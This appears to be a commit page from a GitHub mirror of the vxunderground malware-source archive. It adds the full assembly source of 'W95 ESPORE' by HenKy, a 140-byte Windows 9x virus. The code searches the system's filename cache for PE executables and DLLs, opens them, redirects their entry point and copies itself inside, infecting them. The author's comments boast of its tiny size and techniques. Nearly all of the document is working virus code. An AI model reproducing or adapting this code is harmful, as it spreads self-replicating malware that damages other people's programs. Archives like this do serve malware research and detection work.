mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 07:49:24 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,136 @@
|
||||
;---------------------------- W95 ESPORE BY HenKy -----------------------------
|
||||
;
|
||||
;-AUTHOR: HenKy
|
||||
;
|
||||
;-MAIL: HenKy_@latinmail.com
|
||||
;
|
||||
;-ORIGIN: SPAIN
|
||||
;
|
||||
|
||||
; WOW!!!! 140 BYTES !!!! AND 100% RING 3 !!!! (ONLY WINDOZE 9X CAN SUPPORT IT)
|
||||
|
||||
; OF COURSE MIDFILE AND NO GROWING CAVITY TECH
|
||||
|
||||
; IT SEARCHS FILENAMES INTO CACHE (AND PARASITE THEM) :-)
|
||||
|
||||
|
||||
; THE 0C1000000H ADDRESS IS USED AS BUFFER BECOZ WE HAVE WRITE/READ
|
||||
|
||||
; PRIVILEGES
|
||||
|
||||
; THE BFF712B9h ADDRESS IS THE CALL VINT21
|
||||
|
||||
; THE INITIAL EDX VALUE POINTS TO A 28KB CACHE BUFFER WICH CONTAINS SEVERAL
|
||||
|
||||
; FILENAMES WITH COMPLETE PATH (ONLY PE EXE/DLL )
|
||||
|
||||
.386P
|
||||
.MODEL FLAT
|
||||
LOCALS
|
||||
|
||||
EXTRN ExitProcess:PROC
|
||||
MIX_SIZ EQU (FILE_END - MEGAMIX)
|
||||
|
||||
MACROSIZE MACRO
|
||||
DB MIX_SIZ/00100 mod 10 + "0"
|
||||
DB MIX_SIZ/00010 mod 10 + "0"
|
||||
DB MIX_SIZ/00001 mod 10 + "0"
|
||||
ENDM
|
||||
.DATA
|
||||
DB 'BIEN PEKE?O BIEN... LIKE AN ESPORE... HEHEHE',0
|
||||
DB ' W9X ESPORE SIZE = '
|
||||
MACROSIZE
|
||||
|
||||
.CODE
|
||||
|
||||
MEGAMIX: ; EDX: BUFFER
|
||||
; EAX: EIP
|
||||
; ECX: BUFFER
|
||||
|
||||
VINT21:
|
||||
DD 0BFF712B9h ; MOV ECX,048BFF71H ;-) Z0MBiE
|
||||
DB 'H' ; HenKy ;P
|
||||
XCHG EDI, EAX ; EDI: DELTA
|
||||
MOV ESI,0C1000000H ; ESI: BUFFER
|
||||
MOV EBP,EDI ; NOW: EBP=EDI=DELTA=INT21H
|
||||
|
||||
;EDX: POINTER TO FNAME
|
||||
|
||||
MOV ECX,28500 ; LIMIT
|
||||
PORK:
|
||||
INC EDX
|
||||
CMP WORD PTR [EDX],':C'
|
||||
JE KAA
|
||||
LOOP PORK
|
||||
OK:
|
||||
PUSH 00401000H
|
||||
OLD_EIP EQU $-4
|
||||
WARNING:
|
||||
RET
|
||||
KAA:
|
||||
MOV AX, 3D02h
|
||||
CALL [EDI]
|
||||
XCHG EBX, EAX
|
||||
PUSHAD ; SAVE ECX,EBX,EDX,EBP,EDI
|
||||
CALL PHECT
|
||||
POPAD
|
||||
MOV AH, 3Eh
|
||||
CALL [EDI]
|
||||
JMP PORK
|
||||
|
||||
PHECT:
|
||||
|
||||
XOR ECX,ECX
|
||||
MOV EDX, ESI
|
||||
MOV AH, 3Fh
|
||||
CALL R_W
|
||||
MOV ECX, [ESI+3Ch]
|
||||
LEA EAX, [ESI+ECX]
|
||||
CMP BYTE PTR [EAX], "P"
|
||||
JNE WARNING
|
||||
MOV ECX,[EAX+28H]
|
||||
CMP ECX, 1024
|
||||
JB WARNING
|
||||
PUSH EBP
|
||||
ADD ECX,[EAX+34H]
|
||||
MOV [EBP+OLD_EIP-MEGAMIX],ECX
|
||||
MOV EDI,EAX
|
||||
|
||||
PORRO:
|
||||
INC EDI
|
||||
CMP BYTE PTR [EDI],'B' ; hehehehe
|
||||
JNE PORRO
|
||||
INC EDI
|
||||
SUB EDI,ESI
|
||||
MOV EDX,EDI
|
||||
XCHG DWORD PTR [EAX+28h], EDI
|
||||
LEA EDI, [ESI+EDX]
|
||||
PUSH MIX_SIZ/4
|
||||
POP ECX
|
||||
POP EAX
|
||||
PUSH EAX
|
||||
XCHG ESI,EAX
|
||||
REP MOVSD
|
||||
POP EDI
|
||||
MOV EDX, EAX
|
||||
W:
|
||||
MOV AH, 40h
|
||||
R_W:
|
||||
PUSHAD
|
||||
XOR EAX,EAX
|
||||
MOV AH, 42h
|
||||
CDQ
|
||||
CALL [EDI]
|
||||
POPAD
|
||||
MOV CH, 4h
|
||||
CALL [EDI]
|
||||
RET
|
||||
|
||||
ALIGN 4
|
||||
FILE_END:
|
||||
|
||||
PUSH 0
|
||||
CALL ExitProcess
|
||||
|
||||
END MEGAMIX
|
||||
|
||||
Reference in New Issue
Block a user